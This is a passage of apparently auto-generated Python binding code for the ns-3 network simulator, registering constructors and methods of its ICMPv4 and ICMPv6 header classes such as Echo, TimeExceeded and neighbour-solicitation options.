## icmpv4.h (module 'internet'): ns3::Icmpv4DestinationUnreachable::Icmpv4DestinationUnreachable(ns3::Icmpv4DestinationUnreachable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv4DestinationUnreachable const &', 'arg0')])
## icmpv4.h (module 'internet'): ns3::Icmpv4DestinationUnreachable::Icmpv4DestinationUnreachable() [constructor]
cls.add_constructor([])
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::GetData(uint8_t * payload) const [member function]
cls.add_method('GetData',
'void',
[param('uint8_t *', 'payload')],
is_const=True)
## icmpv4.h (module 'internet'): ns3::Ipv4Header ns3::Icmpv4DestinationUnreachable::GetHeader() const [member function]
cls.add_method('GetHeader',
'ns3::Ipv4Header',
[],
is_const=True)
## icmpv4.h (module 'internet'): uint16_t ns3::Icmpv4DestinationUnreachable::GetNextHopMtu() const [member function]
cls.add_method('GetNextHopMtu',
'uint16_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): static ns3::TypeId ns3::Icmpv4DestinationUnreachable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::SetData(ns3::Ptr<const ns3::Packet> data) [member function]
cls.add_method('SetData',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'data')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::SetHeader(ns3::Ipv4Header header) [member function]
cls.add_method('SetHeader',
'void',
[param('ns3::Ipv4Header', 'header')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::SetNextHopMtu(uint16_t mtu) [member function]
cls.add_method('SetNextHopMtu',
'void',
[param('uint16_t', 'mtu')])
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4DestinationUnreachable::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
visibility='private', is_virtual=True)
## icmpv4.h (module 'internet'): ns3::TypeId ns3::Icmpv4DestinationUnreachable::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, visibility='private', is_virtual=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4DestinationUnreachable::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, visibility='private', is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, visibility='private', is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4DestinationUnreachable::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, visibility='private', is_virtual=True)
return
def register_Ns3Icmpv4Echo_methods(root_module, cls):
## icmpv4.h (module 'internet'): ns3::Icmpv4Echo::Icmpv4Echo(ns3::Icmpv4Echo const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv4Echo const &', 'arg0')])
## icmpv4.h (module 'internet'): ns3::Icmpv4Echo::Icmpv4Echo() [constructor]
cls.add_constructor([])
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Echo::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Echo::GetData(uint8_t * payload) const [member function]
cls.add_method('GetData',
'uint32_t',
[param('uint8_t *', 'payload')],
is_const=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Echo::GetDataSize() const [member function]
cls.add_method('GetDataSize',
'uint32_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): uint16_t ns3::Icmpv4Echo::GetIdentifier() const [member function]
cls.add_method('GetIdentifier',
'uint16_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): ns3::TypeId ns3::Icmpv4Echo::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): uint16_t ns3::Icmpv4Echo::GetSequenceNumber() const [member function]
cls.add_method('GetSequenceNumber',
'uint16_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Echo::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): static ns3::TypeId ns3::Icmpv4Echo::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Echo::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Echo::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Echo::SetData(ns3::Ptr<const ns3::Packet> data) [member function]
cls.add_method('SetData',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'data')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4Echo::SetIdentifier(uint16_t id) [member function]
cls.add_method('SetIdentifier',
'void',
[param('uint16_t', 'id')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4Echo::SetSequenceNumber(uint16_t seq) [member function]
cls.add_method('SetSequenceNumber',
'void',
[param('uint16_t', 'seq')])
return
def register_Ns3Icmpv4Header_methods(root_module, cls):
## icmpv4.h (module 'internet'): ns3::Icmpv4Header::Icmpv4Header(ns3::Icmpv4Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv4Header const &', 'arg0')])
## icmpv4.h (module 'internet'): ns3::Icmpv4Header::Icmpv4Header() [constructor]
cls.add_constructor([])
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Header::EnableChecksum() [member function]
cls.add_method('EnableChecksum',
'void',
[])
## icmpv4.h (module 'internet'): uint8_t ns3::Icmpv4Header::GetCode() const [member function]
cls.add_method('GetCode',
'uint8_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): ns3::TypeId ns3::Icmpv4Header::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): uint8_t ns3::Icmpv4Header::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## icmpv4.h (module 'internet'): static ns3::TypeId ns3::Icmpv4Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4Header::SetCode(uint8_t code) [member function]
cls.add_method('SetCode',
'void',
[param('uint8_t', 'code')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4Header::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
return
def register_Ns3Icmpv4TimeExceeded_methods(root_module, cls):
## icmpv4.h (module 'internet'): ns3::Icmpv4TimeExceeded::Icmpv4TimeExceeded(ns3::Icmpv4TimeExceeded const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv4TimeExceeded const &', 'arg0')])
## icmpv4.h (module 'internet'): ns3::Icmpv4TimeExceeded::Icmpv4TimeExceeded() [constructor]
cls.add_constructor([])
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4TimeExceeded::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4TimeExceeded::GetData(uint8_t * payload) const [member function]
cls.add_method('GetData',
'void',
[param('uint8_t *', 'payload')],
is_const=True)
## icmpv4.h (module 'internet'): ns3::Ipv4Header ns3::Icmpv4TimeExceeded::GetHeader() const [member function]
cls.add_method('GetHeader',
'ns3::Ipv4Header',
[],
is_const=True)
## icmpv4.h (module 'internet'): ns3::TypeId ns3::Icmpv4TimeExceeded::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): uint32_t ns3::Icmpv4TimeExceeded::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): static ns3::TypeId ns3::Icmpv4TimeExceeded::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4TimeExceeded::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4TimeExceeded::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv4.h (module 'internet'): void ns3::Icmpv4TimeExceeded::SetData(ns3::Ptr<const ns3::Packet> data) [member function]
cls.add_method('SetData',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'data')])
## icmpv4.h (module 'internet'): void ns3::Icmpv4TimeExceeded::SetHeader(ns3::Ipv4Header header) [member function]
cls.add_method('SetHeader',
'void',
[param('ns3::Ipv4Header', 'header')])
return
def register_Ns3Icmpv6Header_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::Icmpv6Header(ns3::Icmpv6Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6Header const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::Icmpv6Header() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::CalculatePseudoHeaderChecksum(ns3::Ipv6Address src, ns3::Ipv6Address dst, uint16_t length, uint8_t protocol) [member function]
cls.add_method('CalculatePseudoHeaderChecksum',
'void',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('uint16_t', 'length'), param('uint8_t', 'protocol')])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): uint16_t ns3::Icmpv6Header::GetChecksum() const [member function]
cls.add_method('GetChecksum',
'uint16_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6Header::GetCode() const [member function]
cls.add_method('GetCode',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6Header::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6Header::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::SetChecksum(uint16_t checksum) [member function]
cls.add_method('SetChecksum',
'void',
[param('uint16_t', 'checksum')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::SetCode(uint8_t code) [member function]
cls.add_method('SetCode',
'void',
[param('uint8_t', 'code')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Header::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
return
def register_Ns3Icmpv6NA_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NA::Icmpv6NA(ns3::Icmpv6NA const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6NA const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NA::Icmpv6NA() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NA::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6NA::GetFlagO() const [member function]
cls.add_method('GetFlagO',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6NA::GetFlagR() const [member function]
cls.add_method('GetFlagR',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6NA::GetFlagS() const [member function]
cls.add_method('GetFlagS',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6NA::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Icmpv6NA::GetIpv6Target() const [member function]
cls.add_method('GetIpv6Target',
'ns3::Ipv6Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NA::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NA::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6NA::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::SetFlagO(bool o) [member function]
cls.add_method('SetFlagO',
'void',
[param('bool', 'o')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::SetFlagR(bool r) [member function]
cls.add_method('SetFlagR',
'void',
[param('bool', 'r')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::SetFlagS(bool s) [member function]
cls.add_method('SetFlagS',
'void',
[param('bool', 's')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::SetIpv6Target(ns3::Ipv6Address target) [member function]
cls.add_method('SetIpv6Target',
'void',
[param('ns3::Ipv6Address', 'target')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NA::SetReserved(uint32_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint32_t', 'reserved')])
return
def register_Ns3Icmpv6NS_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NS::Icmpv6NS(ns3::Icmpv6NS const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6NS const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NS::Icmpv6NS(ns3::Ipv6Address target) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'target')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NS::Icmpv6NS() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NS::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6NS::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Icmpv6NS::GetIpv6Target() const [member function]
cls.add_method('GetIpv6Target',
'ns3::Ipv6Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NS::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6NS::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6NS::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NS::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NS::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NS::SetIpv6Target(ns3::Ipv6Address target) [member function]
cls.add_method('SetIpv6Target',
'void',
[param('ns3::Ipv6Address', 'target')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6NS::SetReserved(uint32_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint32_t', 'reserved')])
return
def register_Ns3Icmpv6OptionHeader_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionHeader::Icmpv6OptionHeader(ns3::Icmpv6OptionHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6OptionHeader const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionHeader::Icmpv6OptionHeader() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6OptionHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6OptionHeader::GetLength() const [member function]
cls.add_method('GetLength',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6OptionHeader::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6OptionHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionHeader::SetLength(uint8_t len) [member function]
cls.add_method('SetLength',
'void',
[param('uint8_t', 'len')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionHeader::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
return
def register_Ns3Icmpv6OptionLinkLayerAddress_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionLinkLayerAddress::Icmpv6OptionLinkLayerAddress(ns3::Icmpv6OptionLinkLayerAddress const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6OptionLinkLayerAddress const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionLinkLayerAddress::Icmpv6OptionLinkLayerAddress(bool source) [constructor]
cls.add_constructor([param('bool', 'source')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionLinkLayerAddress::Icmpv6OptionLinkLayerAddress(bool source, ns3::Address addr) [constructor]
cls.add_constructor([param('bool', 'source'), param('ns3::Address', 'addr')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionLinkLayerAddress::Icmpv6OptionLinkLayerAddress() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionLinkLayerAddress::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Address ns3::Icmpv6OptionLinkLayerAddress::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6OptionLinkLayerAddress::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionLinkLayerAddress::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6OptionLinkLayerAddress::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionLinkLayerAddress::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionLinkLayerAddress::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionLinkLayerAddress::SetAddress(ns3::Address addr) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'addr')])
return
def register_Ns3Icmpv6OptionMtu_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionMtu::Icmpv6OptionMtu(ns3::Icmpv6OptionMtu const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6OptionMtu const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionMtu::Icmpv6OptionMtu() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionMtu::Icmpv6OptionMtu(uint32_t mtu) [constructor]
cls.add_constructor([param('uint32_t', 'mtu')])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionMtu::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6OptionMtu::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionMtu::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint16_t ns3::Icmpv6OptionMtu::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint16_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionMtu::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6OptionMtu::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionMtu::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionMtu::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionMtu::SetMtu(uint32_t mtu) [member function]
cls.add_method('SetMtu',
'void',
[param('uint32_t', 'mtu')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionMtu::SetReserved(uint16_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint16_t', 'reserved')])
return
def register_Ns3Icmpv6OptionPrefixInformation_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionPrefixInformation::Icmpv6OptionPrefixInformation(ns3::Icmpv6OptionPrefixInformation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6OptionPrefixInformation const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionPrefixInformation::Icmpv6OptionPrefixInformation() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionPrefixInformation::Icmpv6OptionPrefixInformation(ns3::Ipv6Address network, uint8_t prefixlen) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'network'), param('uint8_t', 'prefixlen')])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionPrefixInformation::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6OptionPrefixInformation::GetFlags() const [member function]
cls.add_method('GetFlags',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6OptionPrefixInformation::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionPrefixInformation::GetPreferredTime() const [member function]
cls.add_method('GetPreferredTime',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Icmpv6OptionPrefixInformation::GetPrefix() const [member function]
cls.add_method('GetPrefix',
'ns3::Ipv6Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6OptionPrefixInformation::GetPrefixLength() const [member function]
cls.add_method('GetPrefixLength',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionPrefixInformation::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionPrefixInformation::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6OptionPrefixInformation::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionPrefixInformation::GetValidTime() const [member function]
cls.add_method('GetValidTime',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
